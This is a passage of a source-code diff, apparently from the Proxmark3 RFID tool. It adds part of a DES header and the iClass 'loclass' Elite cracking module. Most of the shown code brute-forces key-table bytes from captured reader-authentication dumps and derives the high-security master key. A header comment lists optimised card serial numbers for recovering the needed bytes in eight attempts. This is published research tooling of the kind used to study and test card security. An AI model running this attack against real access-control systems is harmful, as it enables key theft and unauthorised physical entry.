+ * \brief          Triple-DES key schedule (112-bit, decryption)
+ *
+ * \param ctx      3DES context to be initialized
+ * \param key      16-byte secret key
+ *
+ * \return         0
+ */
+int des3_set2key_dec( des3_context *ctx, const unsigned char key[DES_KEY_SIZE * 2] );
+
+/**
+ * \brief          Triple-DES key schedule (168-bit, encryption)
+ *
+ * \param ctx      3DES context to be initialized
+ * \param key      24-byte secret key
+ *
+ * \return         0
+ */
+int des3_set3key_enc( des3_context *ctx, const unsigned char key[DES_KEY_SIZE * 3] );
+
+/**
+ * \brief          Triple-DES key schedule (168-bit, decryption)
+ *
+ * \param ctx      3DES context to be initialized
+ * \param key      24-byte secret key
+ *
+ * \return         0
+ */
+int des3_set3key_dec( des3_context *ctx, const unsigned char key[DES_KEY_SIZE * 3] );
+
+/**
+ * \brief          DES-ECB block encryption/decryption
+ *
+ * \param ctx      DES context
+ * \param input    64-bit input block
+ * \param output   64-bit output block
+ *
+ * \return         0 if successful
+ */
+int des_crypt_ecb( des_context *ctx,
+                                       const unsigned char input[8],
+                                       unsigned char output[8] );
+
+#if defined(POLARSSL_CIPHER_MODE_CBC)
+/**
+ * \brief          DES-CBC buffer encryption/decryption
+ *
+ * \param ctx      DES context
+ * \param mode     DES_ENCRYPT or DES_DECRYPT
+ * \param length   length of the input data
+ * \param iv       initialization vector (updated after use)
+ * \param input    buffer holding the input data
+ * \param output   buffer holding the output data
+ */
+int des_crypt_cbc( des_context *ctx,
+                                       int mode,
+                                       size_t length,
+                                       unsigned char iv[8],
+                                       const unsigned char *input,
+                                       unsigned char *output );
+#endif /* POLARSSL_CIPHER_MODE_CBC */
+
+/**
+ * \brief          3DES-ECB block encryption/decryption
+ *
+ * \param ctx      3DES context
+ * \param input    64-bit input block
+ * \param output   64-bit output block
+ *
+ * \return         0 if successful
+ */
+int des3_crypt_ecb( des3_context *ctx,
+                                        const unsigned char input[8],
+                                        unsigned char output[8] );
+
+#if defined(POLARSSL_CIPHER_MODE_CBC)
+/**
+ * \brief          3DES-CBC buffer encryption/decryption
+ *
+ * \param ctx      3DES context
+ * \param mode     DES_ENCRYPT or DES_DECRYPT
+ * \param length   length of the input data
+ * \param iv       initialization vector (updated after use)
+ * \param input    buffer holding the input data
+ * \param output   buffer holding the output data
+ *
+ * \return         0 if successful, or POLARSSL_ERR_DES_INVALID_INPUT_LENGTH
+ */
+int des3_crypt_cbc( des3_context *ctx,
+                                        int mode,
+                                        size_t length,
+                                        unsigned char iv[8],
+                                        const unsigned char *input,
+                                        unsigned char *output );
+#endif /* POLARSSL_CIPHER_MODE_CBC */
+
+#ifdef __cplusplus
+}
+#endif
+
+#else  /* POLARSSL_DES_ALT */
+#include "des_alt.h"
+#endif /* POLARSSL_DES_ALT */
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+/**
+ * \brief          Checkup routine
+ *
+ * \return         0 if successful, or 1 if the test failed
+ */
+int des_self_test( int verbose );
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif /* des.h */
diff --git a/client/loclass/elite_crack.c b/client/loclass/elite_crack.c
new file mode 100644 (file)
index 0000000..1a464b6
--- /dev/null
@@ -0,0 +1,656 @@
+#include <stdint.h>
+#include <stdbool.h>
+#include <string.h>
+#include <stdio.h>
+#include <time.h>
+#include "cipherutils.h"
+#include "cipher.h"
+#include "ikeys.h"
+#include "elite_crack.h"
+#include "fileutils.h"
+#include "des.h"
+
+/**
+ * @brief Permutes a key from standard NIST format to Iclass specific format
+ *     from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220
+ *
+ *     If you permute [6c 8d 44 f9 2a 2d 01 bf]  you get  [8a 0d b9 88 bb a7 90 ea]  as shown below.
+ *
+ *     1 0 1 1 1 1 1 1  bf
+ *     0 0 0 0 0 0 0 1  01
+ *     0 0 1 0 1 1 0 1  2d
+ *     0 0 1 0 1 0 1 0  2a
+ *     1 1 1 1 1 0 0 1  f9
+ *     0 1 0 0 0 1 0 0  44
+ *     1 0 0 0 1 1 0 1  8d
+ *     0 1 1 0 1 1 0 0  6c
+ *
+ *     8 0 b 8 b a 9 e
+ *     a d 9 8 b 7 0 a
+ *
+ * @param key
+ * @param dest
+ */
+void permutekey(uint8_t key[8], uint8_t dest[8])
+{
+
+       int i;
+       for(i = 0 ; i < 8 ; i++)
+       {
+               dest[i] =       (((key[7] & (0x80 >> i)) >> (7-i)) << 7) |
+                                       (((key[6] & (0x80 >> i)) >> (7-i)) << 6) |
+                                       (((key[5] & (0x80 >> i)) >> (7-i)) << 5) |
+                                       (((key[4] & (0x80 >> i)) >> (7-i)) << 4) |
+                                       (((key[3] & (0x80 >> i)) >> (7-i)) << 3) |
+                                       (((key[2] & (0x80 >> i)) >> (7-i)) << 2) |
+                                       (((key[1] & (0x80 >> i)) >> (7-i)) << 1) |
+                                       (((key[0] & (0x80 >> i)) >> (7-i)) << 0);
+       }
+
+       return;
+}
+/**
+ * Permutes  a key from iclass specific format to NIST format
+ * @brief permutekey_rev
+ * @param key
+ * @param dest
+ */
+void permutekey_rev(uint8_t key[8], uint8_t dest[8])
+{
+       int i;
+       for(i = 0 ; i < 8 ; i++)
+       {
+               dest[7-i] =     (((key[0] & (0x80 >> i)) >> (7-i)) << 7) |
+                                       (((key[1] & (0x80 >> i)) >> (7-i)) << 6) |
+                                       (((key[2] & (0x80 >> i)) >> (7-i)) << 5) |
+                                       (((key[3] & (0x80 >> i)) >> (7-i)) << 4) |
+                                       (((key[4] & (0x80 >> i)) >> (7-i)) << 3) |
+                                       (((key[5] & (0x80 >> i)) >> (7-i)) << 2) |
+                                       (((key[6] & (0x80 >> i)) >> (7-i)) << 1) |
+                                       (((key[7] & (0x80 >> i)) >> (7-i)) << 0);
+       }
+}
+
+/**
+ * Helper function for hash1
+ * @brief rr
+ * @param val
+ * @return
+ */
+uint8_t rr(uint8_t val)
+{
+       return val >> 1 | (( val & 1) << 7);
+}
+/**
+ * Helper function for hash1
+ * @brief rl
+ * @param val
+ * @return
+ */
+uint8_t rl(uint8_t val)
+{
+  return val << 1 | (( val & 0x80) >> 7);
+}
+/**
+ * Helper function for hash1
+ * @brief swap
+ * @param val
+ * @return
+ */
+uint8_t swap(uint8_t val)
+{
+       return ((val >> 4) & 0xFF) | ((val &0xFF) << 4);
+}
+
+/**
+ * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
+ * when constructing the K_sel.
+ * @param csn the CSN used
+ * @param k output
+ */
+void hash1(uint8_t csn[] , uint8_t k[])
+{
+       k[0] = csn[0]^csn[1]^csn[2]^csn[3]^csn[4]^csn[5]^csn[6]^csn[7];
+       k[1] = csn[0]+csn[1]+csn[2]+csn[3]+csn[4]+csn[5]+csn[6]+csn[7];
+       k[2] = rr(swap( csn[2]+k[1] ));
+       k[3] = rr(swap( csn[3]+k[0] ));
+       k[4] = ~rr(swap( csn[4]+k[2] ))+1;
+       k[5] = ~rr(swap( csn[5]+k[3] ))+1;
+       k[6] = rr( csn[6]+(k[4]^0x3c) );
+       k[7] = rl( csn[7]+(k[5]^0xc3) );
+       int i;
+       for(i = 7; i >=0; i--)
+               k[i] = k[i] & 0x7F;
+}
+/**
+Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 as
+rk(x [0] . . . x [7] , 0) = x [0] . . . x [7]
+rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n)
+**/
+void rk(uint8_t *key, uint8_t n, uint8_t *outp_key)
+{
+
+    memcpy(outp_key, key, 8);
+
+    uint8_t j;
+
+    while(n-- > 0)
+        for(j=0; j < 8 ; j++)
+            outp_key[j] = rl(outp_key[j]);
+
+    return;
+}
+
+static des_context ctx_enc = {DES_ENCRYPT,{0}};
+static des_context ctx_dec = {DES_DECRYPT,{0}};
+
+void desdecrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output)
+{
+    uint8_t key_std_format[8] = {0};
+    permutekey_rev(iclass_key, key_std_format);
+    des_setkey_dec( &ctx_dec, key_std_format);
+    des_crypt_ecb(&ctx_dec,input,output);
+}
+void desencrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output)
+{
+    uint8_t key_std_format[8] = {0};
+    permutekey_rev(iclass_key, key_std_format);
+    des_setkey_enc( &ctx_enc, key_std_format);
+    des_crypt_ecb(&ctx_enc,input,output);
+}
+
+/**
+ * @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select.
+ * @param key unpermuted custom key
+ * @param hash1 hash1
+ * @param key_sel output key_sel=h[hash1[i]]
+ */
+void hash2(uint8_t *key64, uint8_t *outp_keytable)
+{
+    /**
+     *Expected:
+     * High Security Key Table
+
+00  F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
+10  BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
+20  14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
+30  A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
+40  78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
+50  31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
+60  3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
+70  43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
+
+**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/
+    uint8_t key64_negated[8] = {0};
+    uint8_t z[8][8]={{0},{0}};
+    uint8_t temp_output[8]={0};
+    //calculate complement of key
+    int i;
+    for(i=0;i<8;i++)
+        key64_negated[i]= ~key64[i];
+
+    // Once again, key is on iclass-format
+    desencrypt_iclass(key64, key64_negated, z[0]);
+
+    prnlog("\nHigh security custom key (Kcus):");
+    printvar("z0  ",  z[0],8);
+
+    uint8_t y[8][8]={{0},{0}};
+
+    // y[0]=DES_dec(z[0],~key)
+    // Once again, key is on iclass-format
+    desdecrypt_iclass(z[0], key64_negated, y[0]);
+    printvar("y0  ",  y[0],8);
+
+    for(i=1; i<8; i++)
+    {
+
+        // z [i] = DES dec (rk(K cus , i), z [i−1] )
+        rk(key64, i, temp_output);
+        //y [i] = DES enc (rk(K cus , i), y [i−1] )
+
+        desdecrypt_iclass(temp_output,z[i-1], z[i]);
+        desencrypt_iclass(temp_output,y[i-1], y[i]);
+
+    }
+    if(outp_keytable != NULL)
+    {
+        for(i = 0 ; i < 8 ; i++)
+        {
+            memcpy(outp_keytable+i*16,y[i],8);
+            memcpy(outp_keytable+8+i*16,z[i],8);
+        }
+    }else
+    {
+        printarr_human_readable("hash2", outp_keytable,128);
+    }
+}
+
+/**
+ * @brief Reads data from the iclass-reader-attack dump file.
+ * @param dump, data from a iclass reader attack dump.  The format of the dumpdata is expected to be as follows:
+ *             <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER>
+ *             .. N times...
+ *
+ *     So the first attack, with 3 bytes to recover would be : ... 03000145
+ *     And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000
+ *     And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700
+ *
+ * @param cc_nr an array to store cc_nr into (12 bytes)
+ * @param csn an arracy ot store CSN into (8 bytes)
+ * @param received_mac an array to store MAC into (4 bytes)
+ * @param i the number to read. Should be less than 127, or something is wrong...
+ * @return
+ */
+int _readFromDump(uint8_t dump[], dumpdata* item, uint8_t i)
+{
+       size_t itemsize = sizeof(dumpdata);
+       //dumpdata item =  {0};
+       memcpy(item,dump+i*itemsize, itemsize);
+       if(true)
+       {
+               printvar("csn", item->csn,8);
+               printvar("cc_nr", item->cc_nr,12);
+               printvar("mac", item->mac,4);
+       }
+       return 0;
+}
+
+static uint32_t startvalue = 0;
+/**
+ * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
+ *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
+ *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
+ *It updates the keytable with the findings, also using the upper half of the 16-bit ints
+ *to signal if the particular byte has been cracked or not.
+ *
+ * @param dump The dumpdata from iclass reader attack.
+ * @param keytable where to write found values.
+ * @return
+ */
+int bruteforceItem(dumpdata item, uint16_t keytable[])
+{
+       int errors = 0;
+       uint8_t key_sel_p[8] = { 0 };
+       uint8_t div_key[8] = {0};
+       int found = false;
+       uint8_t key_sel[8] = {0};
+       uint8_t calculated_MAC[4] = { 0 };
+
+       //Get the key index (hash1)
+       uint8_t key_index[8] = {0};
+       hash1(item.csn, key_index);
+
+
+       /*
+        * Determine which bytes to retrieve. A hash is typically
+        * 01010000454501
+        * We go through that hash, and in the corresponding keytable, we put markers
+        * on what state that particular index is:
+        * - CRACKED (this has already been cracked)
+        * - BEING_CRACKED (this is being bruteforced now)
+        * - CRACK_FAILED (self-explaining...)
+        *
+        * The markers are placed in the high area of the 16 bit key-table.
+        * Only the lower eight bits correspond to the (hopefully cracked) key-value.
+        **/
+       uint8_t bytes_to_recover[3] = {0};
+       uint8_t numbytes_to_recover = 0 ;
+       int i;
+       for(i =0 ; i < 8 ; i++)
+       {
+               if(keytable[key_index[i]] & (CRACKED | BEING_CRACKED)) continue;
+               bytes_to_recover[numbytes_to_recover++] = key_index[i];
+               keytable[key_index[i]] |= BEING_CRACKED;
+
+               if(numbytes_to_recover > 3)
+               {
+                       prnlog("The CSN requires > 3 byte bruteforce, not supported");
+                       printvar("CSN", item.csn,8);
+                       printvar("HASH1", key_index,8);
+
+                       //Before we exit, reset the 'BEING_CRACKED' to zero
+                       keytable[bytes_to_recover[0]]  &= ~BEING_CRACKED;
+                       keytable[bytes_to_recover[1]]  &= ~BEING_CRACKED;
+                       keytable[bytes_to_recover[2]]  &= ~BEING_CRACKED;
+
+                       return 1;
+               }
+       }
+
+       /*
+        *A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes,
+        */
+       uint32_t brute = startvalue;
+       /*
+          Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries,
+          (when brute reaches 0x100). And so on...
+          bytes_to_recover = 1 --> endmask = 0x0000100
+          bytes_to_recover = 2 --> endmask = 0x0010000
+          bytes_to_recover = 3 --> endmask = 0x1000000
+       */
+
+       uint32_t endmask =  1 << 8*numbytes_to_recover;
+
+       for(i =0 ; i < numbytes_to_recover && numbytes_to_recover > 1; i++)
+               prnlog("Bruteforcing byte %d", bytes_to_recover[i]);
+
+       while(!found && !(brute & endmask))
+       {
+
+               //Update the keytable with the brute-values
+               for(i =0 ; i < numbytes_to_recover; i++)
+               {
+                       keytable[bytes_to_recover[i]] &= 0xFF00;
+                       keytable[bytes_to_recover[i]] |= (brute >> (i*8) & 0xFF);
+               }
+
+               // Piece together the key
+               key_sel[0] = keytable[key_index[0]] & 0xFF;key_sel[1] = keytable[key_index[1]] & 0xFF;
+               key_sel[2] = keytable[key_index[2]] & 0xFF;key_sel[3] = keytable[key_index[3]] & 0xFF;
+               key_sel[4] = keytable[key_index[4]] & 0xFF;key_sel[5] = keytable[key_index[5]] & 0xFF;
+               key_sel[6] = keytable[key_index[6]] & 0xFF;key_sel[7] = keytable[key_index[7]] & 0xFF;
+
+               //Permute from iclass format to standard format
+               permutekey_rev(key_sel,key_sel_p);
+               //Diversify
+               diversifyKey(item.csn, key_sel_p, div_key);
+               //Calc mac
+        doMAC(item.cc_nr,12, div_key,calculated_MAC);
+
+               if(memcmp(calculated_MAC, item.mac, 4) == 0)
+               {
+                       for(i =0 ; i < numbytes_to_recover; i++)
+                               prnlog("=> %d: 0x%02x", bytes_to_recover[i],0xFF & keytable[bytes_to_recover[i]]);
+                       found = true;
+                       break;
+               }
+               brute++;
+               if((brute & 0xFFFF) == 0)
+               {
+                       printf("%d",(brute >> 16) & 0xFF);
+                       fflush(stdout);
+               }
+       }
+       if(! found)
+       {
+               prnlog("Failed to recover %d bytes using the following CSN",numbytes_to_recover);
+               printvar("CSN",item.csn,8);
+               errors++;
+               //Before we exit, reset the 'BEING_CRACKED' to zero
+               for(i =0 ; i < numbytes_to_recover; i++)
+               {
+                       keytable[bytes_to_recover[i]]  &= 0xFF;
+                       keytable[bytes_to_recover[i]]  |= CRACK_FAILED;
+               }
+
+       }else
+       {
+               for(i =0 ; i < numbytes_to_recover; i++)
+               {
+                       keytable[bytes_to_recover[i]]  &= 0xFF;
+                       keytable[bytes_to_recover[i]]  |= CRACKED;
+               }
+
+       }
+       return errors;
+}
+
+
+/**
+ * From dismantling iclass-paper:
+ *     Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
+ *     Then he can simply recover the master custom key K_cus by computing
+ *     K_cus = ~DES(z[0] , y[0] ) .
+ *
+ *     Furthermore, the adversary is able to verify that he has the correct K cus by
+ *     checking whether z [0] = DES enc (K_cus , ~K_cus ).
+ * @param keytable an array (128 bytes) of hash2(kcus)
+ * @param master_key where to put the master key
+ * @return 0 for ok, 1 for failz
+ */
+int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] )
+{
+       des_context ctx_e = {DES_ENCRYPT,{0}};
+
+       uint8_t z_0[8] = {0};
+       uint8_t y_0[8] = {0};
+       uint8_t z_0_rev[8] = {0};
+       uint8_t key64[8] = {0};
+       uint8_t key64_negated[8] = {0};
+       uint8_t result[8] = {0};
+
+       // y_0 and z_0 are the first 16 bytes of the keytable
+       memcpy(y_0,first16bytes,8);
+       memcpy(z_0,first16bytes+8,8);
+
+       // Our DES-implementation uses the standard NIST
+       // format for keys, thus must translate from iclass
+       // format to NIST-format
+       permutekey_rev(z_0, z_0_rev);
+
+       // ~K_cus = DESenc(z[0], y[0])
+       des_setkey_enc( &ctx_e, z_0_rev );
+       des_crypt_ecb(&ctx_e, y_0, key64_negated);
+
+       int i;
+       for(i = 0; i < 8 ; i++)
+       {
+               key64[i] = ~key64_negated[i];
+       }
+
+       // Can we verify that the  key is correct?
+       // Once again, key is on iclass-format
+       uint8_t key64_stdformat[8] = {0};
+       permutekey_rev(key64, key64_stdformat);
+
+       des_setkey_enc( &ctx_e, key64_stdformat );
+       des_crypt_ecb(&ctx_e, key64_negated, result);
+       prnlog("\nHigh security custom key (Kcus):");
+       printvar("Std format   ", key64_stdformat,8);
+       printvar("Iclass format", key64,8);
+
+       if(master_key != NULL)
+               memcpy(master_key, key64, 8);
+
+       if(memcmp(z_0,result,4) != 0)
+       {
+               prnlog("Failed to verify calculated master key (k_cus)! Something is wrong.");
+               return 1;
+       }else{
+               prnlog("Key verified ok!\n");
+       }
+       return 0;
+}
+/**
+ * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
+ * @param dump
+ * @param dumpsize
+ * @param keytable
+ * @return
+ */
+int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[])
+{
+       uint8_t i;
+       int errors = 0;
+       size_t itemsize = sizeof(dumpdata);
+       clock_t t1 = clock();
+
+       dumpdata* attack = (dumpdata* ) malloc(itemsize);
+
+       for(i = 0 ; i * itemsize < dumpsize ; i++ )
+       {
+               memcpy(attack,dump+i*itemsize, itemsize);
+               errors += bruteforceItem(*attack, keytable);
+       }
+       free(attack);
+       clock_t t2 = clock();
+       float diff = (((float)t2 - (float)t1) / CLOCKS_PER_SEC );
+       prnlog("\nPerformed full crack in %f seconds",diff);
+
+       // Pick out the first 16 bytes of the keytable.
+       // The keytable is now in 16-bit ints, where the upper 8 bits
+       // indicate crack-status. Those must be discarded for the
+       // master key calculation
+       uint8_t first16bytes[16] = {0};
+
+       for(i = 0 ; i < 16 ; i++)
+       {
+               first16bytes[i] = keytable[i] & 0xFF;
+               if(!(keytable[i] & CRACKED))
+               {
+                       prnlog("Error, we are missing byte %d, custom key calculation will fail...", i);
+               }
+       }
+       errors += calculateMasterKey(first16bytes, NULL);
+       return errors;
+}
+/**
+ * Perform a bruteforce against a file which has been saved by pm3
+ *
+ * @brief bruteforceFile
+ * @param filename
+ * @return
+ */
+int bruteforceFile(const char *filename, uint16_t keytable[])
+{
+
+       FILE *f = fopen(filename, "rb");
+       if(!f) {
+               prnlog("Failed to read from file '%s'", filename);
+               return 1;
+       }
+
+       fseek(f, 0, SEEK_END);
+       long fsize = ftell(f);
+       fseek(f, 0, SEEK_SET);
+
+       uint8_t *dump = malloc(fsize);
+    size_t bytes_read = fread(dump, fsize, 1, f);
+
+       fclose(f);
+    if (bytes_read < fsize)
+    {
+        prnlog("Error, could only read %d bytes (should be %d)",bytes_read, fsize );
+    }
+       return bruteforceDump(dump,fsize,keytable);
+}
+/**
+ *
+ * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
+ * @param filename
+ * @return
+ */
+int bruteforceFileNoKeys(const char *filename)
+{
+       uint16_t keytable[128] = {0};
+       return bruteforceFile(filename, keytable);
+}
+
+// ---------------------------------------------------------------------------------
+// ALL CODE BELOW THIS LINE IS PURELY TESTING
+// ---------------------------------------------------------------------------------
+// ----------------------------------------------------------------------------
+// TEST CODE BELOW
+// ----------------------------------------------------------------------------
+
+int _testBruteforce()
+{
+       int errors = 0;
+       if(true){
+               // First test
+               prnlog("[+] Testing crack from dumpfile...");
+
+               /**
+                 Expected values for the dumpfile:
+                       High Security Key Table
+
+                       00  F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
+                       10  BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
+                       20  14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
+                       30  A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
+                       40  78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
+                       50  31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
+                       60  3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
+                       70  43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
+
+                       **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
+               **/
+               uint16_t keytable[128] = {0};
+               //save some time...
+               startvalue = 0x7B0000;
+               errors |= bruteforceFile("iclass_dump.bin",keytable);
+       }
+       return errors;
+}
+
+int _test_iclass_key_permutation()
+{
+       uint8_t testcase[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
+       uint8_t testcase_output[8] = {0};
+       uint8_t testcase_output_correct[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea};
+       uint8_t testcase_output_rev[8] = {0};
+       permutekey(testcase, testcase_output);
+       permutekey_rev(testcase_output, testcase_output_rev);
+
+
+       if(memcmp(testcase_output, testcase_output_correct,8) != 0)
+       {
+               prnlog("Error with iclass key permute!");
+               printarr("testcase_output", testcase_output, 8);
+               printarr("testcase_output_correct", testcase_output_correct, 8);
+               return 1;
+
+       }
+       if(memcmp(testcase, testcase_output_rev, 8) != 0)
+       {
+               prnlog("Error with reverse iclass key permute");
+               printarr("testcase", testcase, 8);
+               printarr("testcase_output_rev", testcase_output_rev, 8);
+               return 1;
+       }
+
+       prnlog("[+] Iclass key permutation OK!");
+       return 0;
+}
+
+int testElite()
+{
+       prnlog("[+] Testing iClass Elite functinality...");
+    prnlog("[+] Testing hash2");
+    uint8_t k_cus[8] = {0x5B,0x7C,0x62,0xC4,0x91,0xC1,0x1B,0x39};
+
+    /**
+     *Expected:
+     * High Security Key Table
+
+00  F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
+10  BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
+20  14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
+30  A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
+40  78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
+50  31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
+60  3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
+70  43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
+
+
+
+**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
+     */
+    uint8_t keytable[128] = {0};
+    hash2(k_cus, keytable);
+    printarr_human_readable("Hash2", keytable, 128);
+    if(keytable[3] == 0xA1 && keytable[0x30] == 0xA3 && keytable[0x6F] == 0x95)
+    {
+        prnlog("[+] Hash2 looks fine...");
+    }
+
+    prnlog("[+] Testing key diversification ...");
+
+       int errors = 0 ;
+       errors +=_test_iclass_key_permutation();
+       errors += _testBruteforce();
+       return errors;
+
+}
+
diff --git a/client/loclass/elite_crack.h b/client/loclass/elite_crack.h
new file mode 100644 (file)
index 0000000..21004e5
--- /dev/null
@@ -0,0 +1,108 @@
+#ifndef ELITE_CRACK_H
+#define ELITE_CRACK_H
+void permutekey(uint8_t key[8], uint8_t dest[8]);
+/**
+ * Permutes  a key from iclass specific format to NIST format
+ * @brief permutekey_rev
+ * @param key
+ * @param dest
+ */
+void permutekey_rev(uint8_t key[8], uint8_t dest[8]);
+//Crack status, see below
+#define CRACKED                        0x0100
+#define BEING_CRACKED  0x0200
+#define CRACK_FAILED   0x0400
+
+/**
+ * Perform a bruteforce against a file which has been saved by pm3
+ *
+ * @brief bruteforceFile
+ * @param filename
+ * @param keytable an arrah (128 x 16 bit ints). This is where the keydata is stored.
+ * OBS! the upper part of the 16 bits store crack-status,
+ * @return
+ */
+int bruteforceFile(const char *filename, uint16_t keytable[]);
+/**
+ *
+ * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
+ * @param filename
+ * @return
+ */
+int bruteforceFileNoKeys(const char *filename);
+/**
+ * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
+ * @param dump
+ * @param dumpsize
+ * @param keytable
+ * @return
+ */
+int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[]);
+
+/**
+  This is how we expect each 'entry' in a dumpfile to look
+**/
+typedef struct {
+       uint8_t csn[8];
+       uint8_t cc_nr[12];
+       uint8_t mac[4];
+
+}dumpdata;
+
+/**
+ * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
+ *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
+ *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
+ *It updates the keytable with the findings, also using the upper half of the 16-bit ints
+ *to signal if the particular byte has been cracked or not.
+ *
+ * @param dump The dumpdata from iclass reader attack.
+ * @param keytable where to write found values.
+ * @return
+ */
+int bruteforceItem(dumpdata item, uint16_t keytable[]);
+/**
+ * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
+ * when constructing the K_sel.
+ * @param csn the CSN used
+ * @param k output
+ */
+void hash1(uint8_t csn[] , uint8_t k[]);
+void hash2(uint8_t *key64, uint8_t *outp_keytable);
+/**
+ * From dismantling iclass-paper:
+ *     Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
+ *     Then he can simply recover the master custom key K_cus by computing
+ *     K_cus = ~DES(z[0] , y[0] ) .
+ *
+ *     Furthermore, the adversary is able to verify that he has the correct K cus by
+ *     checking whether z [0] = DES enc (K_cus , ~K_cus ).
+ * @param keytable an array (128 bytes) of hash2(kcus)
+ * @param master_key where to put the master key
+ * @return 0 for ok, 1 for failz
+ */
+int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] );
+
+/**
+ * @brief Test function
+ * @return
+ */
+int testElite();
+
+/**
+         Here are some pretty optimal values that can be used to recover necessary data in only
+         eight auth attempts.
+// CSN                                        HASH1                                      Bytes recovered //
+{ {0x00,0x0B,0x0F,0xFF,0xF7,0xFF,0x12,0xE0} , {0x01,0x01,0x00,0x00,0x45,0x01,0x45,0x45 } ,{0,1 }},
+{ {0x00,0x13,0x94,0x7e,0x76,0xff,0x12,0xe0} , {0x02,0x0c,0x01,0x00,0x45,0x01,0x45,0x45} , {2,12}},
+{ {0x2a,0x99,0xac,0x79,0xec,0xff,0x12,0xe0} , {0x07,0x45,0x0b,0x00,0x45,0x01,0x45,0x45} , {7,11}},
+{ {0x17,0x12,0x01,0xfd,0xf7,0xff,0x12,0xe0} , {0x03,0x0f,0x00,0x00,0x45,0x01,0x45,0x45} , {3,15}},
+{ {0xcd,0x56,0x01,0x7c,0x6f,0xff,0x12,0xe0} , {0x04,0x00,0x08,0x00,0x45,0x01,0x45,0x45} , {4,8}},
+{ {0x4b,0x5e,0x0b,0x72,0xef,0xff,0x12,0xe0} , {0x0e,0x06,0x08,0x00,0x45,0x01,0x45,0x45} , {6,14}},
+{ {0x00,0x73,0xd8,0x75,0x58,0xff,0x12,0xe0} , {0x0b,0x09,0x0f,0x00,0x45,0x01,0x05,0x45} , {9,5}},
+{ {0x0c,0x90,0x32,0xf3,0x5d,0xff,0x12,0xe0} , {0x0d,0x0f,0x0a,0x00,0x45,0x01,0x05,0x45} , {10,13}},
+
+**/
+
+
+#endif
diff --git a/client/loclass/fileutils.c b/client/loclass/fileutils.c
new file mode 100644 (file)
index 0000000..2f7b6b6
--- /dev/null
@@ -0,0 +1,65 @@
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+#include <sys/stat.h>
+#include <stdarg.h>
+#include "fileutils.h"
+#include "ui.h"
+/**
+ * @brief checks if a file exists
+ * @param filename
+ * @return
+ */
+int fileExists(const char *filename) {
+       struct stat st;
+       int result = stat(filename, &st);
+       return result == 0;
+}
+
+int saveFile(const char *preferredName, const char *suffix, const void* data, size_t datalen)
+{
+       int size = sizeof(char) * (strlen(preferredName)+strlen(suffix)+5);
+       char * fileName = malloc(size);
+
+       memset(fileName,0,size);
+       int num = 1;
